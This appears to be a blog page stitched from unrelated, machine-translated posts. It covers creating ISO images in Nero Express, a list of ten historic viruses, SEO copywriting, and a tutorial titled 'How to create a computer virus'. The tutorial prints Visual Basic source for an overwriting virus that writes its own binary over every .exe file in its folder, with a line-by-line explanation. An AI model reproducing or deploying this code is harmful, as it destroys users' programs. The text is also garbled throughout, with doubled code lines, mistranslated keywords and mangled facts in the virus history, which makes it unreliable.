How to create ISO image with Nero Express

Nero Express is a program that, in addition to its multiple functions, has tools for management operations and recorded file copy. It also lets you create ISO and NRG files to an indirect method, ie no need to download any application for conversion. Generally, Nero Express comes bundled with DVD burners, so you can easily access the OEM version and create your own disk images to duplicate.
Thus, to generate a NRG or ISO file with Nero, you can simply log into Nero Smart Start menu -> Nero -> Nero StartSmart. On the "Copy and support", click on "Copy DVD":


Now, with the disc in your drive, you'll go to the button "More <<":


In that window, you must provide an address or path where you saved the ISO or NRG extension, then copy and wilt here:




Once the store directory, you'll have to start copying the disc:



On the next screen you will see how to generate the image:


When finished running the task, Nero will eject the disc and ask you to sign the path where you saved the ISO or NRG. You should copy it using the [Ctrl + C] and paste [Ctrl + V] to another folder:


Finally, we'll click "Cancel" to delete the file vista.nrg, but keep a copy. This way you can make copies using Nero when needed.

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The 10 most destructive(Ever) viruses of history

In chronological order here are the 10 most destructive viruses of all time.

The 10 most destructive viruses

• CIH
• Blaster
• Melissa
• Sobig.F
• ILOVEYOU
• Bagle
• Code Red
• MyDoom
• SQL Slammer
• Sasser

1. CIH (1998)

Estimated Damage: 20 to 80 million, not counting the price of information destroyed.

Location: From Taiwan in June 1998, CHI is recognized as one of the most dangerous and destructive virus ever seen. The virus infects Windows executable files 95,98 and ME and was able to stay resident in memory of the infected computers and infect other executables.

Why?: What made it so dangerous was that soon affected many computers could rewrite data on the hard disk and leave it inoperable.

Trivia: CIH was distributed in one or the other major software as a demo game Activision "No".

2. Melissa (1999)

Damage Estimate: 300 to 600 million dollars

Location: A Wednesday March 26, 1999, W97M/Melissa became home to many revolving around the world. One estimate says that this script affects 15% to 20% of the world's computers.

Trivia: The virus used Microsoft Outlook to send further 50 of the users contact list. The message contained the phrase, "Here Is That You Asked document for ... do not show anyone else. ;-) "And was accompanied by an attached Word document, which was implemented by thousands of users and allowed the virus to infect computers and propagate through the network.

3. ILOVEYOU (2000)

Damage Estimate: 10 to 15 billion dollars

Location: Also known as "Loveletter" and "Love Bug", this was a Visual Basic script with an ingenious and irresistible candy: Promises of love. A May 3, 2000, the ILOVEYOU worm was first detected in Hong Kong and was transmitted via email with the subject "ILOVEYOU" and attachment, Love-Letter-For-YOU.TXT.VBS
Similarly, Melissa was sent to all contacts in Microsoft Outlook.

Why?: Thousands of users were attracted by the subject and clicked on the infected attachment. The virus also took the liberty of overwriting music files, pictures and more.

Trivia: As the Philippines had no laws that talk about virus writing the author of ILOVEYOU was not charged.

4. Code Red (2001)

Damage Estimate: $ 2.6 billion

Location: Code Red was a worm that infected computers for the first time July 13, 2001. It was a virulent bug because its objective was to attack computers that have the server (IIS) Microsoft's Internet Information Server. The worm was able to exploit a major vulnerability of this server.

Trivia: Also known as "Bady" Code Red was designed for maximum damage. In less than a week infected almost 400,000 servers and over a 1,000,000 in its short history.

5. SQL Slammer (2003)

Damage Estimate: Because SQL Slammer appeared on Saturday the economic damage was low. However, this attack 500,000 servers.

Trivia: SQL Slammer, also known as "Sapphire", dates from January 25, 2003 and its main focus is server, the virus was a 376-byte file that generated a random IP address and sent asimismoa these IPs. If the IP running under Microsoft's SQL Server Desktop Engine unpatched could be sent back to other IPs at random.
Slammer infected computers in 10 minutes 75.000.

6. Blaster (2003)

Damage Estimate: 2 to 10 billion dollars, hundreds of thousands of infected computers.

Location: The summer of 2003 became known Blaster also called "Lovsan" or "MSBlast".
The virus was detected on August 11 and spread rapidly in just two days. Conveyed through a vulnerability in Windows 2000 and Windows XP, and when it was triggered open a dialog in which the shutdown was imminent.

Trivia: Hidden in the code was curious MSBLAST.EXE topics:

    "I just want to say LOVE YOU SAN!" And "billy gates why do you Make this possible? Stop making money and fix your software! "

    "I just want to say I love you san!" And "billy gates Why do possible? for making money and fix your software! "

7. Sobig.F (2003)

Damage Estimate: 5 to $ 10 billion and more than one million infected computers.

Location: Sobig also attacked in August 2003 a horrible month for security. The most destructive variant of this worm was Sobig.F, who attacked the August 19 generating over 1 million copies of itself within the first 24 hours.

Trivia: The virus spread via e-mail and attached files as application.pif thank_you.pif. When activated, transmitting.
On September 10, 2003 the virus has also disabled and was no longer a threat, Microsoft offered in its day to that $ 250,000 to identify its author.

8. Bagle (2004)

Damage Estimate: $ 10 million and counting ...

Location: Bagle is a sophisticated worm that made its debut on January 18, 2004.
The code systems infected with a traditional mechanism, attaching files to an email and spread it.
The real danger of Bagle is that there are 60 to 100 variants of it, when the worm infects a computer open a TCP port that was used by an application to remotely access the system data.

Curiosities: The Bagle.B variant was designed to stop the January 28, 2004 but numerous other variants of the virus continue to operate.

9. MyDoom (2004)

Damage Estimate: Internet performance lags by 10% and page loading by 50%.

Location: In a few hours of January 26, 2004, MyDoom went around the world. Was transmitted via mail by sending an error message of course but also attacked the shared folders of users of the Kazaa network.

Curiosities: MyDoom was programmed to stop after the February 12, 2004.


10. Sasser (2004)

Damage Estimate: $ 10 million

Location: April 30, 2004 was its release date and was destructive enough to hang some French agency communications satellites.
Also managed to cancel flights many airlines.

Curiosities: Sasser was not transmitted via mail and did not require users to spread. Each time the worm was Windows 2000 and Windows XP this was not replicated to date, infected systems experiencing great instability.

Sasser was written by a young German of 17 years who spread the virus in their 18 birthday. As he wrote the code to be less standing out well but was found guilty of computer sabotage.

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SEO Writing: Articles vs content

The writing is very different when it is optimized for search engines for a particular item (a blog post) when it is for a page of a site. We must take into account the characteristics of each text to translate web optimization strategy.
If the wording is for a blog post, with a particular topic, with an area more or less clearly determined by the subject or the editorial line of a blog, because the characteristics will be described along our Guide SEO Copywriting. Namely, optimized titles, keyword density, not very long sentences, a pyramid of information, basic structure optimized, and so on.
This differs when we need to draft a part of the web. For example, we are starting a site and it's time to fill the pages of textual content of the site. The final idea remains the same for both cases: the texts have optimized our site, whether blog or a html site in common. But unlike the article, the texts common sites are closely related to web design and extension generally short and concise.
The relationship with the web design should not be an impediment to optimization. On the contrary. For example, the titles of our site, which are usually with colorful letters with pre-designed fonts, and so on. We should always avoid using titles with images only a cosmetic issue. Must be made in text with different fonts and colors if you like, but in text. To optimize them, nothing better than <h1>!
The rest of the text on each page, though short, should contain keywords highlighted and hyperlinked (if possible) should be clear, well-distributed information. We must spare no text on our website. Although the characteristics and trends of the modern turn to clear sites, with slide images and little text, the text continues to be the king in the web optimization.

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How to create a computer virus''stupid and malicious "- 2nd part

Computer viruses are in many forms with many different functions. Some are rather simplistic and can be detected by the average user while others are complex and go unnoticed for some time. The most common viruses within the classification of file infectors, which work by infecting executable files. They do this by inserting malicious code into an area of ​​the original file, allowing it to be executed each time the file is accessible Some of them are able to completely overwrite a file, making a whole program useless .
This is the case of this type of virus that we see today. Overwritters viruses. I know that the virus overwritters, unfortunately, have no chance to spread and they are not "intelligent". Despite all this overwritters can help you understand the basics of real virus. I'll give you the code first and then we will review it.
-=-=-=-=-=-=-=-=-=- Cut here =-=-=-=-=-=-=-=- =-=-=


 Option Explicit Option Explicit
 Dim MyArray () As Byte Sun myarray () As Byte
 Sun victim As String Dim As String victim
 Const MySize As Integer = 11776 Const MySize As Integer = 11776

 Private Sub Form_Load () Private Sub Form_Load ()
 On Error Resume Next On Error Resume Next
 Free Free Sun Sun
 Free = FreeFile Free = FreeFile

 Open App.Path & "\" & & App.EXEName. "Exe" For Binary Access Read As # Free Open App.Path & "\" & & App.EXEName. "Exe" for Binary Access Read As # Free
 ReDim myarray (MySize) ReDim MyArray (MySize)
 Get # 1, 1, myarray myarray Get # 1, 1,
 Close Close # # Free Free

 victim = Dir (App.Path & "\" & "*. EXE") victim = Dir (App.Path & "\" & "*. exe")
 While victim <> "" While victim <> ""

 Open App.Path & "\" & victim For Binary Access Write As # Free Open App.Path & "\" & victim for binary access write as # Free
 Put # 1,, myarray Put # 1,, myarray
 Put # 1,, MySize Put # 1,, MySize
 Close Close # # Free Free

 victim = Dir () victim = Dir ()

 Wend Wend

 End End
 End Sub End Sub

  -=-=-=-=-=-=-=-=-=- Cut here =-=-=-=-=-=-=-=- =-=-=

Decode all this: (yum! J)
 Option Explicit Option Explicit
 Dim MyArray () As Byte Sun myarray () As Byte
 Sun victim As String Dim As String victim
 Const MySize As Integer = 11776 Const MySize As Integer = 11776 Here, we define the variables we will use the "myarray ()" variable that contains the binary code of the virus, "victim" is the variable that contains the file name of the victim and the "MySize" variable contains the size the virus.
 Private Sub Form_Load () Private Sub Form_Load ()
 On Error Resume Next On Error Resume Next We open the subfolder that we will use (Form_Load), and we have our error handle that is to say that in case of error the program will stop there.
 Free Free Sun Sun
 Free = FreeFile Free = FreeFile It's a good idea to follow the example of the Y2K virus. This will get rid of the read / write errors because it is open source.
 Open App.Path & "\" & & App.EXEName. "Exe" For Binary Access Read As # Free Open App.Path & "\" & & App.EXEName. "Exe" for Binary Access Read As # Free
 ReDim myarray (MySize) ReDim MyArray (MySize)
 Get # 1, 1, myarray myarray Get # 1, 1,
 Close Close # # Free Free Now let's get out the binary code of our virus and we store it in the variable "myarray".
 victim = Dir (App.Path & "\" & "*. EXE") victim = Dir (App.Path & "\" & "*. exe")
 While victim <> "" While victim <> ""

 Open App.Path & "\" & victim For Binary Access Write As # Free Open App.Path & "\" & victim for binary access write as # Free
 Put # 1,, myarray Put # 1,, myarray
 Put # 1,, MySize Put # 1,, MySize
 Close Close # # Free Free Here, we define the variable "victim" and we have our binary code in the program of the victim.
 victim = Dir () victim = Dir ()

 Wend Wend Then we put the victim at zero, and we repeat the whole process to infect all files. Exe in the current directory.
 End End
 End Sub End Sub And finally, we close the program and sub folders. 

***NOTE- This is only for learning,Do not misuse this.

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